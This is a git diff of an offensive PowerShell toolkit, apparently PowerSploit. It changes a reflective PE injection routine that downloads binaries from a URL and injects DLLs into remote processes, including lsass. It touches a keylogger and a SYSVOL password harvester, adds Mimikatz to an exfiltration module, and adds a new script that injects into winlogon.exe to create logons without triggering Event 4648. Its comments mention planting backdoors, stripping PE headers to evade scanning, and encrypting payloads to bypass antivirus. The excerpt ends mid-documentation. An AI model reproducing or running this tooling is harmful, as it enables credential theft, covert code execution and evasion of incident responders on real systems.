Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } - Function Main - { - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants - $RemoteProcHandle = [IntPtr]::Zero + $RemoteProcHandle = [IntPtr]::Zero - #If a remote process to inject in to is specified, get a handle to it - if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) - { - Throw "Can't supply a ProcId and ProcName, choose one or the other" - } - elseif ($ProcName -ne $null -and $ProcName -ne "") - { - $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) - if ($Processes.Count -eq 0) - { - Throw "Can't find process $ProcName" - } - elseif ($Processes.Count -gt 1) - { - $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId - Write-Output $ProcInfo - Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." - } - else - { - $ProcId = $Processes[0].ID - } - } - - #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. - #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege - # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) - # { - # Write-Verbose "Getting SeDebugPrivilege" - # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - # } - - if (($ProcId -ne $null) -and ($ProcId -ne 0)) - { - $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Throw "Couldn't obtain the handle for process ID: $ProcId" - } + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } - Write-Verbose "Got the handle for the remote process to inject in to" - } - - - #Load the PE reflectively - Write-Verbose "Calling Invoke-MemoryLoadLibrary" - $PEHandle = [IntPtr]::Zero - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs - } - else - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle - } - if ($PELoadedInfo -eq [IntPtr]::Zero) - { - Throw "Unable to load PE, handle returned is NULL" - } - - $PEHandle = $PELoadedInfo[0] - $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process - - - #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) - { - ######################################### - ### YOUR CODE GOES HERE - ######################################### - switch ($FuncReturnType) - { - 'WString' { - Write-Verbose "Calling function with WString return type" - [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" - if ($WStringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) - [IntPtr]$OutputPtr = $WStringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) - Write-Output $Output - } - - 'String' { - Write-Verbose "Calling function with String return type" - [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" - if ($StringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) - [IntPtr]$OutputPtr = $StringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) - Write-Output $Output - } - - 'Void' { - Write-Verbose "Calling function with Void return type" - [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if ($VoidFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $VoidFuncDelegate = Get-DelegateType @() ([Void]) - $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) - $VoidFunc.Invoke() | Out-Null - } + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output } - ######################################### - ### END OF YOUR CODE - ######################################### - } - #For remote DLL injection, call a void function which takes no parameters - elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) - { - Throw "VoidFunc couldn't be found in the DLL" - } - - $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle - $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle - - #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions - } - - #Don't free a library if it is injected in a remote process - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Invoke-MemoryFreeLibrary -PEHandle $PEHandle - } - else - { - #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - Write-Verbose "Done!" - } - Main - } + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } - #Main function to either run the script locally or remotely - Function Main - { - if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) - { - $DebugPreference = "Continue" - } - - Write-Verbose "PowerShell ProcessID: $PID" + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } - [Byte[]]$PEBytes = $null + Write-Verbose "PowerShell ProcessID: $PID" - if ($PsCmdlet.ParameterSetName -ieq "LocalFile") - { - Get-ChildItem $PEPath -ErrorAction Stop | Out-Null - [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) - } - else - { - $WebClient = New-Object System.Net.WebClient - - [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) - } + [Byte[]]$PEBytes = $null - #Verify the image is a valid PE file - $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' - - if ($e_magic -ne 'MZ') - { - throw 'PE is not a valid PE file.' - } - - # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg - # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. - $PEBytes[0] = 0 - $PEBytes[1] = 0 + if ($PsCmdlet.ParameterSetName -ieq "LocalFile") + { + Get-ChildItem $PEPath -ErrorAction Stop | Out-Null + [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) + } + else + { + $WebClient = New-Object System.Net.WebClient + + [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) + } - #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) - if ($ExeArgs -ne $null -and $ExeArgs -ne '') - { - $ExeArgs = "ReflectiveExe $ExeArgs" - } - else - { - $ExeArgs = "ReflectiveExe" - } + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' - if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) - } - else - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName - } + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' } - Main -}
\ No newline at end of file + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + } +} + +Main +} diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 index 4123d06..158a643 100644 --- a/CodeExecution/Invoke-ShellcodeMSIL.ps1 +++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1 @@ -1,4 +1,4 @@ -function Invoke-ShellcodeMSIL +function Invoke-ShellcodeMSIL { <# .SYNOPSIS @@ -264,4 +264,4 @@ { Write-Verbose 'Shellcode executed successfully!' } -}
\ No newline at end of file +} diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1 index 2fa317e..0a12a91 100644 --- a/CodeExecution/Watch-BlueScreen.ps1 +++ b/CodeExecution/Watch-BlueScreen.ps1 @@ -1,4 +1,4 @@ -function Watch-BlueScreen +function Watch-BlueScreen { <# .SYNOPSIS @@ -15,7 +15,7 @@ .NOTES Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov - tweeted this technique on 5/13/2013. + ?tweeted this technique on 5/13/2013. .LINK @@ -75,4 +75,4 @@ $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null } -}
\ No newline at end of file +} diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index ef3daec..68d68a1 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -1,4 +1,4 @@ -@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Exfiltration.psm1'
@@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
- 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
+ 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
+ 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Inject-LogonCredentials.ps1'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
@@ -85,4 +86,4 @@ FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file +}
diff --git a/Exfiltration/Exfiltration.psm1 b/Exfiltration/Exfiltration.psm1 index e5234fb..81d3818 100644 --- a/Exfiltration/Exfiltration.psm1 +++ b/Exfiltration/Exfiltration.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 7204a45..ed331ad 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -1,4 +1,4 @@ -function Get-GPPPassword { +function Get-GPPPassword { <# .SYNOPSIS @@ -61,12 +61,19 @@ } #ensure that machine is domain joined and script is running as a domain account - if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} - if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) + { + throw 'Machine is not joined to a domain.' + } - #discover potential files containing passwords - $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' + #discover potential files containing passwords ; not complaining in case of denied access to a directory + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml' + if ( -not $XMlFiles ) + { + throw 'No files containing encrypted passwords found.' + } + foreach ($File in $XMLFiles) { try { @@ -81,6 +88,7 @@ $UserName = '' $NewName = '' $Changed = '' + $Password = '' switch ($Filename) { diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 0698d9d..75400a1 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,4 +1,4 @@ -function Get-Keystrokes { +function Get-Keystrokes { <# .SYNOPSIS @@ -33,7 +33,7 @@ #> [CmdletBinding()] Param ( [Parameter(Position = 0)] - [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] [String] $LogPath = "$($Env:TEMP)\key.log", @@ -42,6 +42,8 @@ $CollectionInterval ) + $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) + Write-Verbose "Logging keystrokes to $LogPath" $Initilizer = { @@ -244,4 +246,4 @@ } | Out-Null } -}
\ No newline at end of file +} diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index c14c723..e1ca823 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -1,4 +1,4 @@ -function Get-TimedScreenshot
+function Get-TimedScreenshot
{
<#
.SYNOPSIS
diff --git a/Exfiltration/Inject-LogonCredentials.ps1 b/Exfiltration/Inject-LogonCredentials.ps1 new file mode 100644 index 0000000..56bf92f --- /dev/null +++ b/Exfiltration/Inject-LogonCredentials.ps1 @@ -0,0 +1,3413 @@ +function Inject-LogonCredentials +{ + <# + .SYNOPSIS + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + PowerSploit Function: Inject-LogonCredentials + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0 + + .DESCRIPTION + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + .PARAMETER NewWinLogon + + Switch. Specifies that this script should create a new WinLogon.exe process. This may be suspicious, as log correlation can show winlogon.exe was + created by PowerShell.exe. + + .PARAMETER ExistingWinLogon + + Switch. Specifies that this script should use an existing WinLogon.exe process. This will leave behind code (a reflectively loaded DLL) in the process. + + .PARAMETER DomainName + + The domain name of the user account. + + .PARAMETER UserName + + The username to log in with. + + .PARAMETER Password + + The password of the user. + + .PARAMETER LogonType + + The logon type of the injected logon. Can be Interactive, RemoteInteractive, or NetworkCleartext + + .PARAMETER AuthPackage + + The authentication package to use. Default is Kerberos. Msv1_0 can be specified but should only be used for local accounts (which can't use kerberos). + + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (an RDP logon). Defaults to using the Kerberos provider. + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -ExistingWinLogon -LogonType NetworkCleartext + + Uses an existing winlogon process and creates a loogn from within it as demo\administrator. The logon will be type NetworkCleartext (used in basic auth + and PowerShell w/ CredSSP). Defaults to using the Kerberos provider. + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon -AuthPackage Msv1_0 + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (and RDP logon). The logon will use the Msv1_0 auth package (NTLM). + + .NOTES + Normally when you do a RunAS logon, the EventID 4648 will show your current account, current process, and the account you are logging in with. + Incident responders use this to look for lateral movement. They can see a random user logging in with high privilege credentials, which stands out. + This script allows you to create the logon from within winlogon.exe, as SYSTEM. This allows you to create 4648 event logs which make it appear that the + user logged in using RDP or logged in locally, rather than the logon showing up as a suspicious RunAS. Then you can use token kidnapping, such as the + Invoke-TokenManipulation script to kidnap the security token. This token can then be used to authenticate over the network for pivoting and other post + exploitation. + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell + + #> + + [CmdletBinding()] + Param( + [Parameter(ParameterSetName = "NewWinLogon", Position = 0)] + [Switch] + $NewWinLogon, + + [Parameter(ParameterSetName = "ExistingWinLogon", Position = 0)] + [Switch] + $ExistingWinLogon, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $DomainName, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $UserName, + + [Parameter(Position=3, Mandatory=$true)] + [String] + $Password, + + [Parameter()] + [ValidateSet("Interactive","RemoteInteractive", "NetworkCleartext")] + [String] + $LogonType = "RemoteInteractive", + + [Parameter()] + [ValidateSet("Kerberos","Msv1_0")] + [String] + $AuthPackage = "Kerberos" + ) + + Set-StrictMode -Version 2 + + + + + function Invoke-ReflectivePEInjection + { + <# + .SYNOPSIS + + This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, + or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, + please lead the Notes section (GENERAL NOTES) for information on how to use them. + + + 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. + Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + + This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, + this will load and execute the DLL/EXE in to memory without writing any files to disk. + + + 2.) Reflectively load a DLL in to memory of a remote process. + As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + + This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output + from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the + remote process. + + + While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array + containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will + bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba + blog linked below (thanks to whitey). + + PowerSploit Function: Invoke-ReflectivePEInjection + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.1 + + .DESCRIPTION + + Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + + .PARAMETER PEPath + + The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. + + .PARAMETER PEUrl + + A URL containing a DLL/EXE to load and execute. + + .PARAMETER ComputerName + + Optional, an array of computernames to run the script on. + + .PARAMETER FuncReturnType + + Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + + .PARAMETER ExeArgs + + Optional, arguments to pass to the executable being reflectively loaded. + + .PARAMETER ProcName + + Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .PARAMETER ProcId + + Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .EXAMPLE + + Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). + Note that the file name on the website can be any file extension. + Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + + .EXAMPLE + + Load DemoEXE and run it locally. + Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" + + .EXAMPLE + + Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. + Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local + + .NOTES + GENERAL NOTES: + The script has 3 basic sets of functionality: + 1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more 